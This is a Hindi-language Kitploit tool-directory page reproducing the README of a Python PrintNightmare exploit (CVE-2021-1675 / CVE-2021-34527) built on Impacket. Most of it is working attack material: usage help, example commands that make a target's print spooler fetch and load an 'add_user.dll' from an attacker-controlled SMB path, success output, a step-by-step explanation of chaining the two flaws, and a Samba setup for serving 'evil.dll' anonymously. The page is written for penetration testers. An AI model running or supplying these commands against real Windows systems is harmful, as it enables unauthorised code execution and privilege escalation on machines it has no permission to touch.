Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
PrintNightmare — PrintNightmare (CVE-2021-1675 / CVE-2021-34527) के लिए Python कार्यान्वयन | Kitploit
उपकरण/GitHubGitHub/ly4k/printnightmare
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगपेलोड डेवलपमेंट
GitHubly4k/printnightmare

PrintNightmare

PrintNightmare (CVE-2021-1675 / CVE-2021-34527) के लिए Python कार्यान्वयन

रिपॉजिटरी देखें
213334 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

PrintNightmare

मानक Impacket का उपयोग करके PrintNightmare (CVE-2021-1675 / CVE-2021-34527) का Python कार्यान्वयन।

स्थापना

root@kitploit:~
$ pip3 install impacket

उपयोग

root@kitploit:~
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

usage: printnightmare.py [-h] [-debug] [-port [destination port]] [-target-ip ip address] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-dc-ip ip address]
                         [-name driver name] [-env driver name] [-path driver path] [-dll driver dll] [-check] [-list] [-delete]
                         target

PrintNightmare (CVE-2021-1675 / CVE-2021-34527)

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>

optional arguments:
  -h, --help            show this help message and exit
  -debug                Turn DEBUG output ON
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials
                        cannot be found, it will use the ones specified in the command line
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter

connection:
  -port [destination port]
                        Destination port to connect to MS-RPRN named pipe
  -target-ip ip address
                        IP Address of the target machine. If ommited it will use whatever was specified as target. This is useful when target is the
                        NetBIOS name and you cannot resolve it

authentication:
  -hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH

driver:
  -name driver name     Name for driver
  -env driver name      Environment for driver
  -path driver path     Driver path for driver
  -dll driver dll       Path to DLL

modes:
  -check                Check if target is vulnerable
  -list                 List existing printer drivers
  -delete               Deletes printer driver

उदाहरण

शोषण

रिमोट DLL
root@kitploit:~
$ ./printnightmare.py -dll '\\172.16.19.1\smb\add_user.dll' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Enumerating printer drivers
[*] Driver name: 'Microsoft XPS Document Writer v5'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: '\\\\172.16.19.1\\smb\\add_user.dll'
[*] Copying over DLL
[*] Successfully copied over DLL
[*] Trying to load DLL
[*] Successfully loaded DLL
लोकल DLL
root@kitploit:~
$ ./printnightmare.py -dll 'C:\Windows\System32\spool\drivers\x64\3\old\1\add_user.dll' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Enumerating printer drivers
[*] Driver name: 'Microsoft XPS Document Writer v5'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: 'C:\\Windows\\System32\\spool\\drivers\\x64\\3\\old\\1\\add_user.dll'
[*] Loading DLL
[*] Successfully loaded DLL

ध्यान दें कि लोकल DLL उदाहरण DLL को कॉपी करने के लिए CVE-2021-34527 का दुरुपयोग नहीं करता है।

कस्टम नाम
root@kitploit:~
$ ./printnightmare.py -dll '\\172.16.19.1\smb\add_user.dll' -name 'My Printer Driver' 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Enumerating printer drivers
[*] Driver name: 'My Printer Driver'
[*] Driver path: 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_18b0d38ddfaee729\\Amd64\\UNIDRV.DLL'
[*] DLL path: '\\\\172.16.19.1\\smb\\add_user.dll'
[*] Copying over DLL
[*] Successfully copied over DLL
[*] Trying to load DLL
[*] Successfully loaded DLL

$ ./printnightmare.py -list 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Enumerating printer drivers
Name:               Microsoft XPS Document Writer v4
Environment:        Windows x64
Driver path:        C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll
Data file:          C:\Windows\System32\DriverStore\FileRepository\prnms001.inf_amd64_f340cb58fcd23202\MXDW.gpd
Config file:        C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_9bf7e0c26ba91f8b\Amd64\PrintConfig.dll
Version:            4
----------------------------------------------------------------
Name:               Microsoft Print To PDF
Environment:        Windows x64
Driver path:        C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_18b0d38ddfaee729\Amd64\mxdwdrv.dll
Data file:          C:\Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_80184dcbef6775bc\MPDW-PDC.xml
Config file:        C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_9bf7e0c26ba91f8b\Amd64\PrintConfig.dll
Version:            4
----------------------------------------------------------------
Name:               My Printer Driver
Environment:        Windows x64
Driver path:        C:\Windows\system32\spool\DRIVERS\x64\3\UNIDRV.DLL
Data file:          C:\Windows\system32\spool\DRIVERS\x64\3\add_user.dll
Config file:        C:\Windows\system32\spool\DRIVERS\x64\3\add_user.dll
Version:            3
----------------------------------------------------------------
Name:               Microsoft Shared Fax Driver
Environment:        Windows x64
Driver path:        C:\Windows\system32\spool\DRIVERS\x64\3\FXSDRV.DLL
Data file:          C:\Windows\system32\spool\DRIVERS\x64\3\FXSUI.DLL
Config file:        C:\Windows\system32\spool\DRIVERS\x64\3\FXSUI.DLL
Version:            3
----------------------------------------------------------------
Name:               Microsoft enhanced Point and Print compatibility driver
Environment:        Windows x64
Driver path:        C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdrv.dll
Data file:          C:\Windows\system32\spool\DRIVERS\x64\3\unishare.gpd
Config file:        C:\Windows\system32\spool\DRIVERS\x64\3\PrintConfig.dll
Version:            3
----------------------------------------------------------------

जाँचें कि लक्ष्य असुरक्षित है या नहीं

बिना पैच वाला Windows 10
root@kitploit:~
$ ./printnightmare.py -check 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Target appears to be vulnerable!
पैच किया गया Windows Server 2022
root@kitploit:~
$ ./printnightmare.py -check 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[!] Target does not appear to be vulnerable

मौजूदा प्रिंटर ड्राइवर सूचीबद्ध करें

root@kitploit:~
$ ./printnightmare.py -list 'user:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Enumerating printer drivers
Name:               Microsoft XPS Document Writer v4
Environment:        Windows x64
Driver path:        C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\mxdwdrv.dll
Data file:          C:\Windows\System32\DriverStore\FileRepository\prnms001.inf_amd64_8bc7809b71930efc\MXDW.gpd
Config file:        C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_c9865835eff4a608\Amd64\PrintConfig.dll
Version:            4
----------------------------------------------------------------
Name:               Microsoft Print To PDF
Environment:        Windows x64
Driver path:        C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_075615bee6f80a8d\Amd64\mxdwdrv.dll
Data file:          C:\Windows\System32\DriverStore\FileRepository\prnms009.inf_amd64_6dc3549941ff1a57\MPDW-PDC.xml
Config file:        C:\Windows\System32\DriverStore\FileRepository\prnms003.inf_amd64_c9865835eff4a608\Amd64\PrintConfig.dll
Version:            4
----------------------------------------------------------------
Name:               Microsoft enhanced Point and Print compatibility driver
Environment:        Windows x64
Driver path:        C:\Windows\system32\spool\DRIVERS\x64\3\mxdwdrv.dll
Data file:          C:\Windows\system32\spool\DRIVERS\x64\3\unishare.gpd
Config file:        C:\Windows\system32\spool\DRIVERS\x64\3\PrintConfig.dll
Version:            3
----------------------------------------------------------------

प्रिंटर ड्राइवर हटाएँ

प्रशासकीय विशेषाधिकारों की आवश्यकता हो सकती है।

root@kitploit:~
$ ./printnightmare.py -delete -name 'Microsoft XPS Document Writer v5' 'administrator:[email protected]'
Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation

[*] Deleted printer driver!

विवरण

PrintNightmare में दो CVE शामिल हैं: CVE-2021-1675 / CVE-2021-34527।

CVE-2021-1675

गैर-प्रशासक (non-administrative) उपयोगकर्ता को नया प्रिंटर ड्राइवर जोड़ने की अनुमति होती है। इस भेद्यता को केवल प्रशासकों को नया प्रिंटर ड्राइवर जोड़ने की अनुमति देकर ठीक किया गया था। प्रिंट स्पूलर का एक पैच किया हुआ संस्करण RPC_E_ACCESS_DENIED (कोड: 0x8001011b) लौटाएगा यदि कोई गैर-प्रशासक नया प्रिंटर ड्राइवर जोड़ने का प्रयास करता है।

CVE-2021-34527

जब नया प्रिंटर ड्राइवर जोड़ा जाता है, तो DRIVER_CONTAINER में pDataFile पैरामीटर UNC पथों की अनुमति देता है। हालाँकि, pDataFile में निर्दिष्ट DLL लोड नहीं किया जाएगा, लेकिन इसे एक स्थानीय पथ पर कॉपी कर दिया जाएगा, जिससे हम pConfigFile पैरामीटर के साथ एक नया प्रिंटर ड्राइवर बना सकते हैं जो स्थानीय पथ की ओर इशारा करता है और DLL लोड करेगा। प्रिंटर स्पूलर का एक पैच किया हुआ संस्करण ERROR_INVALID_PARAMETER (कोड: 0x57) लौटाएगा।

टुकड़ों को जोड़ना

यदि दुर्भावनापूर्ण DLL पहले से ही लक्ष्य पर मौजूद है, तो केवल CVE-2021-1675 की आवश्यकता होती है।

PrintNightmare के लिए, यदि DLL स्थानीय पथ पर नहीं है, तो CVE-2021-34527 का उपयोग UNC पथों के माध्यम से DLL प्राप्त करने के लिए किया जा सकता है। इस कारण से, DLL को SMB के माध्यम से सर्व करना आवश्यक है। यदि आप SMB और UNC से परिचित नहीं हैं, तो निम्नलिखित उपधारा पढ़ें।

जब नया प्रिंटर ड्राइवर बनाया जाता है, तो सुरक्षा कारणों से pDataFile पैरामीटर में दिया गया DLL लोड नहीं किया जाएगा। हालाँकि, इसे C:\Windows\system32\spool\drivers\x64\3\ में कॉपी किया जाएगा। फिर, हम एक नया प्रिंटर ड्राइवर बना सकते हैं जो स्थानीय पथ के साथ pConfigFile का उपयोग करता है (जो DLL लोड करेगा)। हालाँकि, दूसरा प्रिंटर ड्राइवर बनाते समय DLL पहले प्रिंटर ड्राइवर द्वारा उपयोग में होता है। इसके बजाय, हम पहले प्रिंटर ड्राइवर को अधिलेखित (overwrite) कर सकते हैं, जिससे प्रिंटर ड्राइवर की DLL फ़ाइलें C:\Windows\system32\spool\drivers\x64\3\old\<I>\ में कॉपी हो जाएँगी, जहाँ प्रत्येक DLL के लिए <I> बढ़ाया जाता है। अब हम एक तीसरा प्रिंटर ड्राइवर बना सकते हैं जो स्थानीय पथ C:\Windows\system32\spool\drivers\x64\3\old\<I>\ का उपयोग करेगा, क्योंकि DLL अब उपयोग में नहीं है। अब सिर्फ <I> का अनुमान लगाना बाकी है, जो 1 से बढ़ना शुरू होगा।

ध्यान दें कि DLL स्थानीय रूप से अपना फ़ाइलनाम बनाए रखेगा, इसलिए यदि आप शुरू में foo.dll के साथ एक्सप्लॉइट चलाते हैं और यह C:\Windows\system32\spool\drivers\x64\3\old\1\foo.dll में सहेजा जाता है, और फिर आप foo.dll की सामग्री स्थानीय रूप से बदलते हैं और एक्सप्लॉइट फिर से चलाते हैं और अब यह C:\Windows\system32\spool\drivers\x64\3\old\5\foo.dll में सहेजा जाता है, तो मूल foo.dll का उपयोग किया जाएगा क्योंकि यह C:\Windows\system32\spool\drivers\x64\3\old\1\foo.dll में स्थित है। इसके बजाय, यदि आप DLL की सामग्री बदलते हैं तो बस फ़ाइलनाम बदल दें।

SMB और UNC

संक्षेप में, UNC पथ नेटवर्क पर किसी फ़ाइल या फ़ोल्डर का पथ होता है, न कि स्थानीय फ़ाइल का, और इसमें सर्वर का नाम और पथ शामिल होता है। उदाहरण के लिए, UNC पथ \\10.0.0.2\files\foo.txt एक फ़ाइल foo.txt है जो सर्वर 10.0.0.2 के files शेयर से सर्व की जाती है। आमतौर पर, एक शेयर SMB के माध्यम से सर्व किया जाता है, लेकिन WebDAV भी समर्थित है। Linux पर SMB शेयर बनाने का सबसे आसान और विश्वसनीय तरीका Samba पैकेज का उपयोग करना है।

apt के साथ Samba इंस्टॉल करने के लिए:

root@kitploit:~
$ sudo apt install samba

/etc/samba/smb.conf को संपादित करें और फ़ाइल के अंत में निम्नलिखित जोड़ें:

root@kitploit:~
[smb]
    comment = Samba
    path = /tmp/share
    guest ok = yes
    read only = yes
    browsable = yes
    force user = nobody

यह smb नामक एक नया शेयर बनाएगा और /tmp/share के अंदर की फ़ाइलों को सर्व करेगा। यह अनाम (anonymous) पहुँच की अनुमति देता है, और फ़ाइलों को ब्राउज़ करने के लिए स्थानीय उपयोगकर्ता nobody का उपयोग किया जाएगा।

फिर निम्न कार्य करके Samba सेवा शुरू करें:

root@kitploit:~
$ sudo service smbd start

मान लीजिए कि आपकी Linux मशीन का IP 192.168.1.100 है और आप evil.dll को सर्व करना चाहते हैं, तो इस परिदृश्य में UNC पथ \\192.168.1.100\smb\evil.dll होगा।

लेखक

  • @ly4k

श्रेय

  • @cube0x0 का कार्यान्वयन
  • Impacket
टूल डाउनलोड करें